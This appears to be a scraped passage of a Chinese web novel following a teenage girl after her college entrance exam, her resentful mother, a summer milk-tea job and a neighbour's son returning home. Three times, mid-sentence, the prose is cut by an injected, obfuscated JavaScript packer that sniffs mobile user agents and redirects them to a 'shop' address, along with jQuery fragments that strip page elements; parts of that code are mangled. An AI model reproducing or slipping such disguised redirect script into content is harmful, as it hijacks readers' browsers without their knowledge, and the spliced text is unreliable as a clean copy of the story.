父母还没分出胜负,骆静佳已经小跑回去提桶了。 宿舍区和教学区南辕北辙,她赶时间,别说再好好看看埋葬她三年光阴的地方,就连和老师同学说声再见的空隙都没有。 再回到车上的时候,骆振国的脸色很难看。 通过林素萍的抱怨,骆静佳得知自己离开的十几分钟里,果然有人过来投诉他们挡道了。 从内骂到外,林素萍骂完丈夫窝囊嘴笨,又骂学校和家长不体谅。 骆静佳心里仅有的那点伤感都被她骂没了。 她像一个气球一样不断被怨气填充。 高考刚结束那几天,趁着家人的耐心还没过期,骆静佳询问林素萍,能不能带她去箍牙。 林素萍莫名其妙,捏着她的下巴左看右看:“这不是挺整齐的!哪里需要箍牙?” “感觉门牙有点奇怪……” “不奇怪,就算有也只是一点点而已。为了这一点点去箍牙多不值得!时间长不说,还要一辈子戴保持器咧!” 母亲没有提到钱,骆静佳就知道是钱的问题。 假期开始也有一段时间了,父母都没有提过礼物、旅行、奖励之类的事情。 她早有心理准备,但难免失落。 除此之外,看房的事情也毫无着落。 白天她尚且可以出门溜达,晚上睡觉却还是要回到这里。 六月的夜晚,除了闷热,骆静佳的鼻尖还弥漫着一股淡淡的浑味。是药酒、膏药和衰老的味道。 某天晚上她躺在床上听MP3,金属床沿突然被指甲敲了敲。一只皱巴巴的手伸上来,拳头紧攥。 骆静佳摘掉耳机,探头:“怎么了?” 下铺没动静,但摊开了手心。 里面躺着一张皱巴巴的五十元。 骆静佳说:“我不要。” 手没动,态度坚决。 “我真的不要。” 手指颤抖起来,不知道是什么心情。 骆静佳没办法,只好收下。心想明天偷偷给她放回枕头底下。 她在床上放了纸巾,躺回去以后抽了一张,先是擦了擦背后的汗,然后又擦了擦眼眶。 离家两公里的奶茶连锁店在招新员工,骆静佳问他们接不接受高中毕业生,对方说满十六岁就可以。 倒班制,八小时,时薪是周围最高的了。 她回到家,打算和正在剁菜的林素萍说一声,明天就去上班了。 结果才说了个开头,就被厉声呵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394632|200349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斥:“家里供你读那么多书,你现在去做这种体力活?!” 林素萍拎着菜刀出来,脸色比平常难看:“你成绩这么好,就不能找点家教之类的工作吗?!还有你以前那些笔记,也可以拿去卖啊!就像那个周庭裕一样,去年他考完以后楼里有不少人找他给小孩子补习,还抢着要他用过的书呢,你怎么就不知道效仿一下!这不比你流血流汗赚得多?” 骆静佳解释道:“可那是高考成绩出来以后的事了,大家都是冲着文科状元这个头衔……” 林素萍无法反驳,嘴唇嗫嚅几下。看到女儿躲闪的动作,才反应过来自己手里拿着菜刀。 “算了算了!你要去就去吧!想吃苦就去吃个够!” 骆静佳觉得她今天的脾气比平时还要差。 喂奶奶吃饭的时候,抱怨也比平时多,语气也更尖锐。 她在家呆不下,打算去图书馆。 那里有冷气,安静,还不用花钱。 结果下楼的时候,意外地看到三楼的两扇旧门换成新的了。 铁门锁着,木门半掩。 骆静佳心跳加速,回想了一下今天是几号。 才六月十七号,大学还没开始放暑假。 会是谁? 一阵轻盈的笑声解答了她的疑惑。 带跟的拖鞋踩在地上会发出哒哒哒的声音,清脆似风铃。女人的脚上涂着玫红色的指甲油,艳丽且显白,骆静佳还没抬眼,对方就跟她打了个招呼:“佳佳!” 铁门被拉开,女人在家也带妆,笑魇如花:“好久不见!都长这么高了。” “要不要进来坐坐?我刚切了西瓜。” 骆静佳慢半拍地说了句好。进门的瞬间,她就明白自己又多了一个秘密,并且知道了林素萍今天火气这么旺的原因。 隋鸢热情地招呼她进来,客厅里开了空调,骆静佳一进来就感觉浑身的毛孔都张开了。 一个穿蓬蓬裙、用蝴蝶结扎双马尾的小女孩坐在椅子上边吃西瓜边晃腿,桌上铺了一张纸巾,上面是她吐出来的籽。 “安安!坐好一点!” 这是骆静佳第一次听隋鸢大声说话。 过去隋鸢还住在这里的时候,在内在外待人接物,总是亲切又温柔的。 隋鸢看出她眼里的惊讶,笑笑道:“这丫头,没她哥哥半点听话,不凶一点镇不住她。” “你随便坐,自己拿西瓜吃。” 骆静佳说了声“好”,在隋安打量的目光中坐下,拿起一片西瓜啃。 隋莺又走到走廊外面,继续自己原本要做的事。 她的声音隔着窗飘进来:“对了佳佳,你是不是今年高考啊?才考完?” 骆静佳赶紧咽下果肉:“对——” 怕她听不清,特地拔高了声音。 “哦,你比阿裕小一岁,我想起来了。” “……嗯。” 骆静佳猜,她接下来可能要问自己考得怎么样。毕竟这几天出入碰到的叔叔阿姨,无一例外关心了这件事。 但隋鸢问的却是:“高考假期可长,你打算做点什么呀?” 骆静佳想到自己明天的排班,还有和舍友撒的谎,一时不知如何开口。 倒是隋安,主动跟她说:“我在这里过暑假哟。” 骆静佳看着她还没长开,但完美遗传隋鸢五官的小脸,笑了:“那很好。” 隋鸢刚好进来,抱怨外面热死了:“才呆了这么一小会儿,就出汗了。你不知道,西城更热,我每天送安安去少年宫,才几步路都感觉要中暑了。” “所以这不,带她回来这边避避暑。虽然哪里都热,但想到她也好久没回南城了,索性让她来这边过暑假,那些兴趣班不上也罢……” 骆静佳不太记得隋安的年纪了,只记得隋鸢二十岁就结婚了,生周庭裕的时候好像才二十二岁…… 岁月不败美人。 隋鸢摇着葵扇,道:“对了,刚才说到哪了?你暑假有什么安排?” 骆静佳知道逃不过了,坦白道:“没什么安排,找了个班上,赚点零花钱。” “那很好啊!”隋鸢态度开朗,语气鼓励。 而且她没有问骆静佳在哪里上班。 她一直这样。 细腻地呵护着女孩子的自尊心。 骆静佳啃着西瓜,一时无言。 隋鸢提议道:“不过以后还有很多时间工作,你不用急于一时。可以赚点钱,然后去玩。” “嗯……不过南城也没什么好玩的。” 隋鸢笑了:“那是你太乖了,年纪又小。” “阿裕也快放假了。” “等他回来,我让他带你玩。” 4. 春眠(4) 上学期金融系是所有专业最后考完的,校内食堂基本都已经撤走,因此引发了学生的强烈不满,贴吧名帖倍出,学校也收到不少投诉。 是以今年考试日期推前了一点,六月底就收尾了。 舍友是本地人,他看周庭裕已经开始收拾行李了,便问了句:“暑假什么安排?有空的话一起出来玩啊。” 周庭裕嗯了一声,回答的却是:“再说吧。” “怎么了?少爷有什么活动?” “狗屁少爷。”他笑了,“我订了今天的票回南城。” 另一个舍友闻言加入话题:“话说你们那边有什么好吃好玩的?我还没去过南方呢。假期这么长,我打算出省走一走。” 周庭裕挑了几个最吸引人的说,一时忘了时间,话到一半才发现要来不及了。于是匆匆背上包,冲出去又转回来,指着刚提问的那人,道:“来的话记得来找我,让你见识见识什么叫土皇帝。” 他走了,留下宿舍几个人在原地笑了半天。 周庭裕打车去了高铁站,半个月前隋鸢要给他订机票,他没放在心上。隋鸢也拿不准他的心思,也就没催。等周庭裕考完,就只剩候补了。 昨天周宏正给他打电话的时候,他坐在电脑前不断刷新着页面,眼睛都有点发酸了。 周宏正问他:“干嘛非得回南城?你就这么上赶着去照顾你的便宜妹妹,看她两演母女情深啊?” 周庭裕拍拍旁边的舍友,让他帮自己盯一会儿,起身拿着手机出去了。 “爸。”京都的初夏燥热无比,比起南城有过之而无不及。周庭裕的语气有些无奈,“你们好歹是和平分手,所以话能不能别说那么难听?” 他还有一句“孩子是无辜的”梗在喉口,想了想,到底没说出来。 周宏正和隋鸢在周庭裕十三岁的时候就离婚了,那时候周宏正的事业才刚起步,隋鸢却再也受不了两地分居的婚姻状态,要求分开。 碍于周庭裕还小,隋鸢不得已继续照顾他。 又考虑到人言可畏,是以他们离婚的消息并没有公开。这期间隋鸢和一个从西城来的画家好上了,两人一见如故,堪称知音。画家知道她还有个儿子,也要履行为人母的责任,所以愿意留在南城等她。他甚至在南城购置了房产,方便和隋鸢恋爱。 于理,这不是出轨。 可是于情,周宏正难以接受前妻离婚的理由,更难接受她如此迅速地奔赴下一段感情。 他最无法原谅的是,隋鸢对周庭裕的轻视。 没有被附和,周宏正在电话那头大发雷霆。 周庭裕把手机从耳边移开,准备检票了才拿起来:“要上车了,我挂了。” 周宏正骂够了,又叹口气:“本来这个假期,我是打算让你到公司来实习的。阿裕啊,爸爸现在做的一切都是在为你以后铺路啊……” 嘟嘟嘟。 周庭裕看着前面长长的队伍,毫不犹豫地挂断了通话。 - 骆静佳的高考成绩下来了,和她预估得分毫不差。 她在网吧的电脑前坐着没动,因为付了一个小时的费用,所以只用十分钟就走未免太亏了。 她也难得有机会可以接触电子产品,心里堆满了好奇,凭借良好的记忆力,把以前从同学耳中听来的游戏、歌曲、论坛都翻了个遍。 围观完这个时代迅速发展的各种产物,她才感觉自己有点像现代人了。 去前台用现金支付的时候,刚才错把她认成未成年的老板摇着扇子问:“考得怎么样?” 骆静佳一直是有十说三的人,但今天却难掩骄傲:“还不错。” “多少分?” 她报了个数字。 老板也不懂分数线、总分之类的东西,只是听分数就觉得高得离谱。于是哎哟一声,把她的五块钱退回去:“得嘞姑娘,这一小时就算是我请的。祝你能上个好学校!” “谢谢老板。” 骆静佳很少有心情如此愉悦的时候。 回到家,林素萍已经在单元楼下等她了。 骆静佳远远看见她和别人寒暄,但只是随口聊了几句就把人打发走了,而后来回踱步。 她的紧张也调动了骆静佳的心情,骆静佳欢快的步伐变得有些沉重,走过去,林素萍迎上来攥住她的手:“怎么样?查到了吗?多少分?” “嗯……查到了。”她把喜讯告诉母亲,母亲在短暂的愣怔以后,脸上被浓烈的喜悦代替,像一朵已经枯死的花突然重新绽开。 “太好了!太好了,我就知道,佳佳,妈妈就知道你一定可以!” 一楼的住户刚好出来给葱浇水,闻言隔着防盗网给她道喜:“这下你可以松口气了吧?素萍,你这小孩真是争气哦,不枉你当初坚持要这个女儿。” 两双握在一起的手并没有松开,林素萍越攥越紧,骆静佳的手却慢慢变冷。 见林素萍和街坊邻居炫耀起来,骆静佳挣了挣:“那妈,我先上去休息了,待会还要上班。” “行,锅里有饭,你自己拿来吃啊。” “嗯。” 骆静佳转身上楼,临走前听到刚才说话那人酸溜溜的一句:“还是生女儿好啊!女孩早慧,读书不用人操心。” 他家儿子五年前考了个大专,不甘心要复读,他们原本碍于费用不肯,但拗不过儿子一定要上本科的决心。结果一年结束,还是大专。 骆静佳回到家里。 不一会儿林素萍就回来了,不过拿着钱包又要出去:“晚上想吃什么?妈给你做!我女儿这么棒,一定得好好奖励!” 骆静佳摇头:“不用了,我在店附近随便吃点就行。晚上十点才下班呢。” 这周轮到骆静佳上夜班了,偶尔回家还会在路上遇到她爸。父女俩也没什么共同话题,骆振国只会问她累不累。 骆静佳一开始说不累,骆振国就会说,那把工作辞了,把时间用来预习大学课程,不要到了大学就松懈了。 后来她说累,骆振国又叫她辞职。 骆静佳说她想攒钱买手机和电脑,这两样东西是除了学费以外,一定要带去学校的。 骆振国就不说话了。 林素萍虽然担心女儿,但是自从知道她的时薪以后,就不过多干涉了:“话说你们那家店,真的挺旺的,我去买菜,看到好多学生都喝这个呢。” 骆静佳把嘴里的饭咽下去才回答:“嗯,因为这是加盟店。” “什么意思?” 骆静佳想到“品牌效应”这个词,但是考虑到林素萍听不懂,改口道:“就是其他地方也有很多分店,大家都知道这个牌子。” “哦哦,这么厉害的?” “嗯。” 林素萍出门了,让她去上班的时候注意安全,又说:“你要是困了,可以睡我的房间。” 骆静佳还是“嗯”,但没动。 因为,那也是骆振国的房间。 初中的时候,骆静佳的卧室天花板漏水,找人来修花了两天。 有一天她在父母的房间午休,在他们枕头底下发现了避孕套。 骆静佳大赧,从此没再进过主卧。 在沙发上对付了半小时,骆静佳换好衣服出门。 下楼的时候刚好碰上要带隋安去游泳的隋鸢。 她和隋鸢打了个招呼,隋鸢晃着车钥匙说:“我送你啊。” “不用了,谢谢阿姨,我走过去很近的。” 她总是对隋鸢的好意避之不及,隋鸢也知道什么原因,笑笑,说了句好吧。 骆静佳走在前面,隋安在后面牵手问妈妈:“哥哥什么时候回来啊?我都等了好多天了。” 骆静佳心头一跳,健步如飞的脚步突然刹车。 隋鸢说:“不知道呢,我前两天问他的时候,他还在考试。” “不过哥哥也有可能不回来了。” “为什么?” “因为哥哥还有另一个家。” 骆静佳看着外面逐渐昏暗的夜色,以及寥寥的行人,把面前的桌子擦了又擦。 店长笑她:“在想什么?未来的大学生活?还是……喜欢的人?” 后半句烫到她了,骆静佳一下子挺直腰。 店长乐了:“我只是随口一说,你怎么反应这么大?” 骆静佳回答:“一个近在眼前,一个远在天边。” “哦?意思是你真的有喜欢的人?” 有人来了。骆静佳理所当然地掠过这个问题,迎上去问你好需要点什么? 九点了,剩下的小料和茶汤都不多了,店长说:“应该也没什么客人会来了。” 她家里小孩今天过生日,所以提前半小时走,骆静佳给她比了个ok的手势,意思是放心吧。 店长拍拍她的肩膀:“记得锁门。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394633|200349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只剩骆静佳一个人了,她溜到电脑前,偷偷切换了店里平时会播的歌单。 郭静轻盈婉转的声音回荡在室内,没有同事在,也没有单子做,夜班快下班的时候,是骆静佳最享受的一段时间。 她从围裙口袋里掏出单词本,见缝插针地背起来。 九点半她们就结束营业了,剩下半小时用来洗机器和打扫卫生。 骆静佳边背书边等时间,还剩两分钟的时候,她看着那一坨没卖出去的黑糖珍珠,决定用剩材给自己做一杯饮品。 这是店里的员工福利,每天一杯。 但因为林素萍从小就不让她喝饮料,所以骆静佳对小甜水没什么兴趣。 不过浪费可耻。 她背过身去按配方倒牛乳,没注意到自动玻璃门的开合。 直到那声“你好”突然响起。 骆静佳仓促转身:“你好,请问需要点什么?” 这是条件反射。其实她应该说,不好意思我们已经打烊了。 加盟店有自己的工作服,鸭舌帽也是其中之一。 帽檐盖住骆静佳眼里的惊讶,却盖不住她的脸。 周庭裕正仰着头在看上面滚动的菜单,闻言垂眸,视线滑落。 “啊。”他短促地叫了一声,像晨间讨厌的小鸟,带着一点惊讶,“是你啊。” 我是谁? 骆静佳想到他上次喊的那声兔牙妹,突然意识到他真的有可能不记得自己的名字了。 她改口道:“不好意思,我们已经打烊了。” 周庭裕眨眨眼,看着她抿平的唇线:“你刚才好像不是这么说的。” “口误了。” 周庭裕指了指营业时间:“不是到十点?” “其实是九点半。” “这不是欺骗消费者吗?” 这个问题最近店员和顾客都跟店长反馈过了,店长也说要改掉,但偏偏,他在实施的过程中出现了。 见她不说话,周庭裕又说:“我好不容易下车,口要渴死了,拜托你,行行好。” 他指了指自己带进来的行李,他甚至都还没回去放行李。 “……”骆静佳认栽,“你要喝什么?能选择的很少了。” 周庭裕看着她后面那杯还没封口的饮品,随口道:“就要黑糖珍珠牛乳好了。” 骆静佳的手在点单,但其实只是装装样子:“没有珍珠了。” 周庭裕没说话,视线在那杯饮品和骆静佳脸上来回穿梭。 骆静佳知道他在想什么——剩下的珍珠做一杯太多,做两杯太少,她刚才以为没人会来了,所以全倒进了自己的员工福利里。 这在客人看来,就是她那杯珍珠放得特别多,多到自己想点单就没有了。 “……” 骆静佳说:“如果你不介意的话,这杯送你。” 他挑眉:“不用付钱?” “不用。” “谢谢。”他倒是心安理得。 骆静佳把刚才乱点的数据删掉,手指在屏幕上来回按动。 周庭裕往前靠了靠,她吓得抬眼。 这警惕的表情太伤人了,周庭裕犹豫了几秒,道:“要不我还是付钱吧?” 她这么讨厌他,还请他喝奶茶,心里应该会不舒服吧。 骆静佳确实心里不舒服,但是不是因为奶茶,而是在听完隋鸢的话以后,又目睹了他的出现。 她重申了不用,周庭裕没再坚持。 但他喝上了奶茶,却也没走。 “很晚了,反正都是要回星河巷,我等你一起。” 回去的路上,他们一路沉默。 唯有蝉鸣和行李箱滚动的声音,环绕着他们。 周庭裕看着两人之间,随着前进而越来越宽的缝隙,突然觉得那杯奶茶有点占肚子,喝得他理亏。 他习惯了这样的交际方式,和谁都称兄道弟。 却忽略了,有的人,尤其是异性,或许会反感他的自来熟。 他看着骆静佳脑袋上那个小小的发旋,还有被鸭舌帽压得塌塌的头发,心想,他应该要为此道个歉? 月光盈盈,夏夜宁宁。 骆静佳看着自己的脚尖,还有他被路灯拖长的背影,意识到周庭裕在有意识地落后她一步。 她看着自己几乎要被他笼罩着的影子,心想。 他对她最好,也对她最坏。 5. 春眠(5) 两个人走到单元楼下,附近的人基本都已经休息了,亮着灯的窗户也没声音。 周庭裕想了半天,也没想出一套说辞,刚要张嘴,骆静佳就扭头给了他一句“再见”。 她跑得飞快,有种和他走了一段路,已经忍耐到极限的感觉。所以连三层楼都无法再忍,径直先走。 周庭裕回到家还百思不得其解。 隋鸢给他端来一碗糖水,“没想到你今天会回来,就炖了安安喜欢吃的。明天我再给你做。” 周庭裕看着糯滚滚的酒酿圆子,说了句“没事”:“我什么都爱吃。” 话毕便狼吞虎咽地扫荡完一碗,加上那杯珍珠奶茶,一直到入睡,肚子都还有些积食。 他躺在床上发微信问陈行逸:[回来没有?] 陈行逸还没睡:[后天还有一门,考完还要过几天才回。] zty:[why?] 陈陈陈:[本人恋爱了。] 周庭裕:“……” zty:[祝福你。] 陈行逸发来一个□□的表情,周庭裕想回复一个[呕吐],想了想,还是算了。 陈行逸高中时有一个谈了两年的女朋友,在上大学没多久以后就因异地和他分手了。 如今有了第二春,或许是走出来了吧。 周庭裕无事可做,起来整理自己的唱片和专辑。 他不常回来,东西都落了灰。 不是没想过带去京都,但周宏正不喜欢他搞这些东西。而且,他并不确定自己每段假期的任务和目的地。 隋鸢和周宏正如今唯一的联系,就在于争夺周庭裕的使用权。 这让周庭裕感到奇怪,婚姻续存期间并未显露的爱意和占有欲,竟会在离婚后加倍袭来。 几个月前买的《在树上唱歌》也被周庭裕留在了这里,除此之外他还珍藏了同歌手的《我不想忘记你》、《下一个天亮》……郭静所有的专辑,他就只剩《这一切还是迷人的》没有买到。 这是郭静离开老东家福茂唱片前的最后一张作品,因后期风格发生了微妙的变化,所以意义非凡。但这张EP主要是为了搭配演唱会“Cool Style”而推出的,发行量非常少,流通量极低。 加之唱片市场的萎靡,周庭裕在校期间利用空闲去扫货,也依旧毫无收获。 他细细擦拭着自己的珍藏品,再把它放回置物架上。这个房间的一整面墙都堆放着他的唱片,他的爱好,还有他已经消散的自由。 周宏正在京都的房子很大很豪华,也曾在他周庭裕成年后提过替他置办房产。 隋鸢在西城的家也有他的一席之地,继父对他温和有礼。 可周庭裕却觉得,这个世界上,只有南城的这个房间是属于自己的。 开了一条缝隙的窗户,突然闯进来一只小飞虫。 他突然想起,有一个人曾经踏足过这里。 第二天,隋鸢起了个大早,给兄妹两做早餐。 考虑到周庭裕睡得晚,她让隋安先吃,特地等到十点半以后才叫他起床。 妹妹挺着圆滚滚的肚子在沙发上看电视,周庭裕偶尔瞥两眼。 隋鸢笑他:“这动画片你从小看到大,还不腻?” 周庭裕啃着抹满果酱的吐司:“很久没看了。” 他心里存着一个疑问,昨天还特地问了有过感情经历的陈行逸:“如果你从来没有得罪过一个女生,她却看你特别不爽,会是什么原因?” 陈行逸客观分析:“那大概是外部原因。” 周庭裕却觉得骆静佳不是那种会唯父母是从,没有个人判断的人。 他问隋鸢:“您回来这几天,有碰到过骆静佳吗?” 隋鸢上了年纪,又久不在南城,记忆有些模糊。她只记得自己一直叫那女孩作“佳佳”,蓦地提及大名,隋鸢还愣了愣。 随即反应过来:“碰到过。怎么了?” 周庭裕说:“我记得您以前经常邀请她到家里玩。” 周庭裕高三之前,隋鸢都留在这边照顾他。本来是打算照顾到毕业再离开,可偏偏隋安那时候查出了血液病,不得不去医疗条件更好的西城治疗。 “嗯。”隋鸢回忆着记忆里的骆静佳,“她很讨人喜欢。” 周庭裕记得自己刚上高中的时候,有那么一段时间,每个周六回家,都会在沙发上看到这个女孩。 隋鸢热情好客,喜欢给自己找事情做,家里常有人来拜访,周庭裕一开始没放在心上。 后来有反应,是因为他发现自己卧室里的唱片被人动过。 隋鸢的解释是:“我和她聊现在的流行音乐,问她有没有听过少女时代和东方神起,这孩子居然说没有!我便问她喜欢什么歌,她说不出来。我一激动,就把她带到了你的房间,问她不喜欢韩流,是不是喜欢华流。” 结果骆静佳像是从来没有听过歌一样。 隋鸢当时被这孩子的封闭程度给吓到了,一激动就动了周庭裕的唱片,咋咋呼呼地要播给骆静佳听。 事后她和周庭裕道过歉,周庭裕没说话。 但从此每个周六早上去上学前,他都会拿一把大锁把房门锁上。 他的卧室面朝客厅,只要进门就能看见他的拒绝。 后来,他就没在家里见过骆静佳了。 隋鸢也没有提起过原因。 他知道自己是有那么一点针对她,不然为什么只在周六上锁?因为她也要上学,只有周末才有空来陪隋鸢喝下午茶。 时间冷却了愤怒,周庭裕后知后觉地心虚,觉得自己小题大做了。毕竟是隋鸢主动的,又不是骆静佳非要动他的东西。 因为愧疚,他对这个住五楼的女生多了一些关注。 后来听说她考进了自己的高中,周庭裕平时在学校,也会注意到她。 再细的情绪也会抽条,像春风吹又生的野草。 他兀自留意了她许久,在心里便把她当成了熟人。 许多自作多情的举止,在她眼里或许十分滑稽。 - 骆静佳睡到快中午才起,房间里安静得有些诡异,她探头往下看,发现奶奶不在的时候心跳漏了一拍。 随即想起,今天是复诊的日子,骆振国应该是带她去医院了。 她口渴,想出去喝水,还没清醒的脑袋控制不好四肢,下爬梯的时候差点滑倒。 失重感让她心悸,情绪也跟着低落烦躁,在心里连续骂了好几声脏话,才拉开门。 然后发现家里有客人。 声音很熟悉,应该是她见过的哪位阿姨。 两个人并肩坐着,背对着骆静佳。 林素萍一边择菜,一边侧过脸和对方说话,声音虽然特地压低了,但碍于房子就这么大,想不听见都难。 “你都不知道,我那天在超市里碰到她,穿得那叫一个花枝招展。又是化妆又是指甲油的,生怕别人注意不到她……” “年轻的时候就算了,怎么都是两个孩子的妈了,还这么不知检点。” “她穿那条裙子,我媳妇也有一件。但二十多岁的小姑娘和四十多岁的半老徐娘怎么比哦!怕是拍马也赶不上吧!” 一阵咯咯咯的笑声穿插在对话里,两个人边说边笑,不细究她们的话题,或许会将其当做什么趣事。 骆静佳没了喝水的心情,轻手轻脚地关上门,坐在书桌前,薅了薅头发。 她知道她们在说谁。 如果要在星河巷里找一个最讨厌隋鸢的人,那她想这个人非林素萍莫属。 至于这恶意的来源,追溯起来,得从爷爷辈说起。 骆振国和周宏正同为厂里职工,前者是千辛万苦读完了中专被分配进厂,从底层熬起。后者却是正儿八经读完了大学,被书记父亲安排进厂,捞个铁饭碗。 成分和眼界都不同,也就导致了观念和作风不同。 周宏正风趣幽默,很快俘获了年轻貌美的隋鸢。彼时大家都在背后说他娶了这么朵危险的玫瑰,以后恐怕不用费钱买帽子。 周宏正却懒听这些酸话,觉得妻子时髦爱美并不是坏事,反而是他的面子。 而林素萍嫁给骆振国的时候,已经被一直没结婚的弟弟拖累成老姑娘了。 骆振国作为家里的长子,这些年的积蓄不是给弟妹们成家,就是给父母尽孝。 两个人各有他人无法接受的缺点,媒婆觉得可行,便引双方见了一面。 接触下来,彼此都不是很满意,但当时的情况已经别无他选,他们都再扛不住世俗的目光。 周家和骆家几乎是前后脚结的婚,情况和目的却完全不一样。婚后关起门来过日子,也少不了攀比。 后来经济遭受冲击,厂里效益腰斩,不少工人惨遭下岗。隋鸢劝周宏正与其终日提心吊胆,不如化主动为被动,辞职下海。 彼时两家的不对付仅限于女人偶尔的口角之争,林素萍自诩温良贤惠,说人是非也懂关门。 所以周宏正问骆振国有没有意向,觉得他这个技术和资历,出去单干不愁没有前途。 骆振国犹豫过,不料这辈子唯一一次不想循规蹈矩,竟遭到林素萍的强烈反对。 当时林素萍才产女不久,天生的妇科问题令她在生育上吃尽苦头。 其实他们也没想在这个节骨眼上要孩子,但在医院的亲戚私底下告诉林素萍,堕胎可能会让她失去生育能力。于是从未想过丁克的夫妻,只好一咬牙。 骆静佳生下来的时候就体弱多病,靠汤药吊着小命。 新生儿的花销本就昂贵,骆振国还是砍了给父母的一半生活费,才将将够开销。 如今若主动辞职,不说以后该如何吃喝,就连睡的地方都没有。 “人周宏正的房子是他爸的,他当然不怕妻儿留宿街头!可我们家不一样啊,骆振国,我们都没有能搭把手的父母,我们赌不起的!” 周宏正刚刚离开不久,厂里就得到了外商注资,起死回生。 骆振国作为技术骨干,也跟着升职加薪。 但他到底不是混官场的好料子,加之学历和背景都不够,昙花一现以后便停滞不前了。 他们家风光的时候,林素萍没少跑到隋鸢面前炫耀。 比不过对方悉心保养的外貌,就用丈夫的本领和陪伴对抗。没有对方天生乐观温柔的性格,就督促孩子加倍地努力。 拆东墙补西墙,她总暗暗较劲,非要分个输赢,有时得意洋洋,有时不断找补。 后来周宏正创业成功,飞黄腾达,林素萍便哑巴了一段时间,而后变本加厉。 骆静佳小时候不明所以,也是这几年才明白,林素萍对隋鸢的嫉妒从她们生下来就是女人的时候就诞生了。 同处艰难的、不公平的时代,隋鸢是“异类”,而林素萍是大多数。 骆静佳小时候看电视,总幻想自己是七仙女里的紫儿,神雕侠侣的小龙女,白蛇传里的小青。像每一个都渴望自己是最特别的女孩一样,希望自己能是生活里的主角。 可林素萍的言传身教,却让她在后来的岁月里追逐起随波逐流。 隋鸢是骆静佳一个遥远的梦。 而她曾闯入过这个梦中。 初三那年,外婆抱恙住院,林素萍忙前忙后地照顾,周末也不得闲。 她叫骆静佳中午去厂里的食堂打饭,晚上她再回来做。 可骆静佳知道只有双职工家庭的孩子才可以使用这个权限,于是嘴上答应,实则根本不好意思去,中午就只在楼下的小卖部买点干脆面充饥。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394634|200349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且她不敢在自己家吃,也不敢在小卖部吃,害怕被人发现,于是只好随便找个角落偷吃。 五毛钱一包,面饼很小,味精却很多,总咸得她要喝很多很多水。 某天她啃得太急,被呛得直咳嗽,感觉肺都要被咳出来了,等平复下来才发现有人在帮她拍背。 骆静佳回头,在盛夏的光晕里认出来人。 那天以后,隋鸢便请她到家里来吃午饭。 骆静佳一开始没说话,面露胆怯。 隋鸢看出她的为难和窘迫,改口道:“算了算了!还是别吃饭了,我做菜拿不出手。” “不过你要不要来喝下午茶?阿姨很会烤蛋糕哦,可惜我家那小子不爱吃甜食,每次烤好了都没人帮我分担。如果你不嫌弃的话,帮帮忙好不好。” 过去十五年,骆静佳没有忤逆过林素萍,哪怕一次。 没有锁的卧室,也无法让她安放心事。 可她还是在不为人知的情况下,有了一个又一个秘密。 每个午后,隋鸢送她离开的时候,还会帮她看看周围有没有人。 这样的温柔,让她以为她的孩子也该是如此。 进那男生的房间本不是她的意愿,可骆静佳没办法否认她是好奇且期待的。 无论是隋鸢口中的“一整墙唱片”,还是想求证那个平时总是酷酷的周庭裕是否真的喜欢如此缱绻的唱腔,都促使骆静佳参与了这场探险。 对隋鸢的亲近延展了她对周庭裕的好奇,她渴望他身上她所没有的特质,她羡慕他在学校里特立独行的做派,她已经知道了他不喜欢吃甜食,于是理所当然地想要了解更多。 可惜,她才越过那条线,就看到了一把锁。 他什么也没说,偶尔放学在楼下碰到,还是会和她点头示意。 可骆静佳跟在他背后,却在他洁白无瑕的校服上看到了“禁止进入”四个加粗大字。 林素萍看着体重秤,笑话道:“你爸说厂里最近的菜一点油水也没有,怎么还把你吃胖了?” 骆静佳知道,自己不能再去了。 秘密不能再增加了。 - 今天骆静佳依旧是夜班。 和她值班的同事赶着去约会,要早退。骆静佳想到自己刚入职时对方对她的屡屡包容,点点头。 同事离开前给她抛了个飞吻,说明天给她带好吃的。 骆静佳无奈笑着做了个赶人的手势,意思是走吧走吧。 那个人又踩点来了。 骆静佳看着他进来,公事公办地说了声欢迎光临。 周庭裕疑惑道:“你们每天的话术都不一样吗?今天怎么不问我要点什么。” 骆静佳回避了前半句话:“请问您要点什么?” “还有什么?” “牛乳类的基本都有,奶酪香草牛乳茶、黑糖珍珠牛乳、蜜桃乌龙牛乳……” “还有珍珠吗?” 骆静佳看了他一眼:“有。” 而且还有很多。 今天滞销了。 周庭裕掏出付款的二维码:“那我要黑糖珍珠牛乳。推荐什么做法?” “少冰三分糖。” “可以。” “这是您的小票,谢谢惠顾。” 周庭裕接过,问,“有笔吗。” 骆静佳给他拿了一支,转身去给他摇奶茶了。 再回头的时候,周庭裕已经不见了。 他留下了那张小票,用笔压着。 